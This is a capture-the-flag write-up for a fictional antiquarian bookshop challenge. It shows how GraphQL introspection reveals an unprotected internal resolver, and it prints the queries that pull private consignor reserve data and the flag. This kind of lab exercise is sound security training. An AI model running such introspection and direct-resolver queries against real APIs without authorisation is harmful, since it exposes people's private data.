Slate Quarry

Slate Quarry Books has been the antiquarian shop on the green since 1971. The proprietor's nephew built a small website; the catalogue is public, but the shop's consignment ledger — who left what on consignment, what each consignor agreed to as a floor — was never meant to be.

Room Description

Slate Quarry — figure 1

https://dashboard.webverselabs-pro.com/events/slate-quarry

Briefing

Slate Quarry Books has been the antiquarian shop on the green since 1971. The proprietor, James Garner, started out cataloguing every volume in a leather-bound ledger and now does it through a small website his nephew built one summer. The catalogue is visible to the public; the shop's consignment ledger — who left what on consignment, what the reserve price is, what each consignor agreed to as a floor — was never meant to be.

Initial Analysis

We begin by visiting the challenge website, which presents itself as a small antiquarian bookstore with a simple catalogue. The frontend allows us to browse books and view individual entries, but nothing immediately stands out as vulnerable.

Slate Quarry — figure 2

Navigation endpoints:

<nav class="nav">
  <div class="nav__inner">
    <a href="/"          class="nav__link nav__link--active">Home</a>
    <a href="/catalogue" class="nav__link">Catalogue</a>
    <a href="/about"     class="nav__link">About</a>
    <a href="/contact"   class="nav__link">Contact</a>
  </div>
</nav>
Slate Quarry — figure 3

While browsing, we observe that the catalogue and book pages dynamically load content. Inspecting the network traffic reveals that the application communicates with a GraphQL endpoint at:

/graphql

Finding the bug

When requesting /catalogue there's a GraphQL request with the following query:

{"query":"\n    query Catalogue {\n      books {\n        id\n        title\n        author\n        year\n        condition\n        retailPrice\n        catalogueNumber\n      }\n    }\n  ","operationName":"Catalogue"}

and when requesting a specific book there's a GraphQL request with a query:

{"query":"query Book($id: ID!){ bookById(id: $id){ id title author year condition retailPrice catalogueNumber } }","variables":{"id":"1"}}

Now there are two ways to get more information, one is by attempting common endpoints like /graphql/api and gather information that way, or by using an introspection query (Right click on request in Repeater, GraphQL - > Set Introspection Query), both work here.

Slate Quarry — figure 4
Slate Quarry — figure 5

Exploitation

We gathered enough information to find this type:

type ConsignorReserve {
  bookId: ID!
  consignorName: String!
  reservePrice: Float!
  acquisitionDate: String!
  internalNotes: String!
}

and the Query type:

type Query {
  """Full public catalogue, ordered by catalogue number."""
  books: [Book!]!

  """Single book by id — used by the per-book detail page."""
  bookById(id: ID!): Book

  """Books published within a date range (inclusive)."""
  searchByPeriod(start: Int!, end: Int!): [Book!]!

  """Internal reserve lookup — for the cataloguer's reference."""
  consignorReserveById(bookId: ID!): ConsignorReserve
}

What immediately stands out is:

consignorReserveById(bookId: ID!): ConsignorReserve

At this point, we have identified a Broken Access Control vulnerability — the backend exposes internal functionality without enforcing any authorization.

To confirm the issue, we directly query the internal resolver:

{  "query": "query { consignorReserveById(bookId: \"1\") { consignorName reservePrice internalNotes } }"}
Slate Quarry — figure 6

This successfully returns internal data, including consignor details and notes.

To identify a likely target, we return to the homepage and notice that one book is marked as “Reserved”, linking to /book/7. This makes it a strong candidate for containing sensitive or special data.

We then query:

{  "query": "query { consignorReserveById(bookId: \"7\") { bookId consignorName reservePrice acquisitionDate internalNotes } }"}

The response includes the internalNotes field, which contains the flag:

Slate Quarry — figure 7